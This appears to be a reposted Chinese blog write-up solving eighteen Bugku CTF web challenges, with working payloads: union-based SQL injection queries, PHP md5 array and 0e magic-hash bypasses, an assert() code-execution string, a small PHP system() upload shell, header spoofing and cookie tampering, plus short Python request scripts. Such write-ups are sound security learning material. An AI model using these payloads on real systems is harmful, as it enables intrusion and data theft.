ctf題目writeup(7)


2019.2.10

過年休息歸來,繼續做題。

bugku的web題,地址:https://ctf.bugku.com/challenges

1.

http://123.206.87.240:8002/web16/

提示是備份,不由自主想到bak。這里可以掃路徑或者自己多試試:

http://123.206.87.240:8002/web16/index.php.bak 就是備份,直接保存下來。

打開后是一段源代碼:

大概意思就是,獲取key1和key2,但是會過濾掉你輸入的key。

然后如果兩個key的md5相等,且兩個key本身不相等,就會打印出flag的值。

在這里可以用 kekeyy1 和 kekeyy2來繞過這個過濾。

而在php中,md5函數無法處理數組,返回的都是null,兩個null也是相等。

所以構造payload:

http://123.206.87.240:8002/web16/?kekeyy1[]=sss&kekeyy2[]=xxx

(key后面的值隨便寫就ok)

Bugku{OH_YOU_FIND_MY_MOMY}

2.

http://123.206.87.240:8002/chengjidan/

輸入1的時候是這樣(這個submit是post方式)

加個'   

 

這里猜下,總共四列 (名字,三科目)

1' union select 1,2,3,4#

都有回顯,於是 構造 -1' union select 1,2,3,database()#   (用1爆不出來)

獲取數據庫名稱:

之后通過 -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#  得到表名fl4g,sc

然后獲取flag中的字段,這里需要16進制繞過一下:

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#

所以我們最終要獲取的就是 skctf_flag數據庫中 fl4g表中 skctf_flag字段的值。

構造payload;

-1' union select 1,2,3,skctf_flag from fl4g#

 

BUGKU{Sql_INJECT0N_4813drd8hz4}
3.

 

http://123.206.87.240:8002/qiumingshan/

這道題應該就是 腳本提交post數據的方式,還需要在兩秒內。就得獲取頁面上的數字和運算法則。

所以直接腳本:

mport requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)  
 
        
 其中用到正則表達式,其實就是匹配 十進制數加上四則運算符號加上十進制數 這樣的形式。
然后直接用python 內置的 eval方法,可以直接把文本提取為計算式。
至於為什么要post value,可以多刷新幾遍網頁:

 

最后運行腳本:

Bugku{YOU_DID_IT_BY_SECOND}

4.

 

http://123.206.87.240:8002/web6/

 

查看頁面源代碼也沒什么值得注意的,抓包試試。

放到repeater中 go一下試試:

多go幾次,發現每次的flag都不一樣。做到這步大概就是得寫腳本了。思路就是 提取 header中的flag值,然后構造 margin = flag值 這樣的數據,post一下,獲得返回內容就能得到flag。

腳本:

import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
res = req.get(url)
flag = res.headers['flag']
txt = base64.b64decode(flag)
txt = txt[txt.index(":") + 2:]
txt = base64.b64decode(txt)
data = {'margin': txt}
ans = req.post(url, data)
print ans.content  
 
這里要注意的是,flag是base64加密,解密后還是一個base64,需要進行兩次解密。 這個在py2.x可以運行,py3需要將byte與str進行轉換。

 

5.

http://123.206.87.240:8002/web11/

打開后這樣,字符沒什么意義,頁面源代碼也沒其他的東西。

看url  filename后面的好像是base64編碼:

解碼:

那就根據這個原理訪問其他頁面,比如要訪問index.php,就先把它base64加密:

filename =aW5kZXgucGhw

訪問后頁面是空的,查看源代碼是這樣的:

猜想大概是這個 line= 起到作用,

不妨寫個腳本跑出來所有代碼:

import requests
a=30
for i in range(a):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    s=requests.get(url)
    print s.text

  

得到的代碼:

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

  從代碼后半段可以看到,有一個keys.php的頁面,應該是我們想要的。而且還有個判斷,就是我們的cookies 要等於 margin

keys.php base64加密后:a2V5cy5waHA=

抓個包,然后放到repeater里面go一下:

 

 KEY{key_keys}

 6.

 

http://123.206.87.240:8006/test/hello.php

打開后查看源代碼:

然后直接訪問 ...../test/1p.html  (查看源代碼的頁面 view code)

發現一段base64 解密:

解密后是段php:

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}


?>

  嘗試直接訪問 f412a3g.txt (還是上面的那種訪問方式)

...../test/f412a3g.txt

flag{tHis_iS_THe_fLaG}

7.

http://123.206.87.240:8010/

 
        

 

打開后沒什么可利用的信息,那就好好看看給的提示:

<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

exlpde()分割a#s#s#e#r#t為assert,使用assert()函數的解析傳進來的s串,assert有代碼執行漏洞。

所以這里構造payload:

?s=print_r(scandir('./'))  (掃描當前目錄並按數組形式輸出)

這里直接訪問 f94lag.txt就行了:

BUGKU{bugku_web_009801_a}


8.

對於正則表達式我是不了解的。。。詳情學習了這篇文章,寫得非常的細致:

https://blog.csdn.net/qq_26090065/article/details/81605837

key is: KEY{0x0SIOPh550afc}

 

9.

http://123.206.31.85:49162/

打開后不禁想起了自己的前女友=。=。。。

 

查看頁面源代碼:

打開這個code.txt 

和之前的一道題蠻像的,還是php 中md5函數無法對數組進行運算。

構造payload:http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=3

SKCTF{Php_1s_tH3_B3St_L4NgUag3}

 

10.

http://123.206.31.85:49163/

sql約束攻擊 大多就是 字符串長度的約束
比如 user = admin 1
和 uset = admin 會被數據庫識別成一樣的 (看它的約束條件是什么樣)

所以這道題,先注冊一個 admin 的賬號(有個空格,你注冊幾個空格的都可以)

然后用admin登陸,用你注冊的密碼就行了:

SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

11.

 



http://123.206.87.240:9009/from.php

打開后這樣:

看頁面源代碼也沒別的東西,猜測是抓包改下頭部什么的,改成外國的,或者谷歌啥的。

這里抓包,修改 Referer 為 https://www.google.com 就行了:

flag{bug-ku_ai_admin}

 

12.

這里找了下 md5碰撞的原理:

PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。

攻擊者可以利用這一漏洞,通過輸入一個經過哈希后以”0E”開頭的字符串,即會被PHP解釋為0,如果數據庫中存在這種哈希值以”0E”開頭的密碼的話,他就可以以這個用戶的身份登錄進去,盡管並沒有真正的密碼。

0e開頭的md5和原值:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

所以構造a= 以上的一種 就可以:

比如:

http://123.206.87.240:9009/md5.php?a=s878926199a

flag{md5_collision_is_easy}

 

13.

http://123.206.87.240:8002/localhost/

頁面源代碼沒有東西。他既然說本地訪問了,那就抓個包 用 X-Forward-For: 127.0.0.1試試;

flag{loc-al-h-o-st1}

14.

http://123.206.87.240:8002/web7/

代碼意思就是,id需要等於margin,然后用戶名和密碼不能相同,但是sha1后要相同(類似於md5)

所以還是用數組的方式繞過,要注意passwd 是需要post的,所以需要用到hackbar:

Flag: flag{HACK_45hhs_213sDD}

15.

打開后這樣:

剛開始以為題目壞了。。看到最近也有人解答出來,就知道事情不簡單。

掃下后台把,發現了robot.txt

進入這個 resus1.php:

下面很明顯,x需要等於password才行。

蒙一個admin:

搞定:

flag(ctf_0098_lkji-s)

16.

因為比較懶,直接嘗試sqlmap 跑 forms形式的:

flag{ed6b28e684817d9efcaf802979e57aea}

17.

查看頁面代碼注釋:

這里上傳文件包含的php (用圖片馬什么的不好使。。。)

<script language=php>system("ls")</script>   新建一個文檔,然后改成jpg后綴。

然后訪問這個地址,要注意還是用 file= 的方式:

然后直接訪問那個 長長的文件就行了:

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

 18.

剛開始以為是sql注入,查路徑什么的,看源代碼也都沒有,login點了確實沒反應。

后來才知道,原來是傳參,/?hint=1

這里有個坑就是 key不是下面那一串,判斷的時候也 key的值是 NULL 也就是 cookie要等於 NULL的序列化的結果:

所以就抓下包,然后改cookie 就好了:

flag{unserialize_by_virink}

 

寫到這。。。剩下題也太難了8.。。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM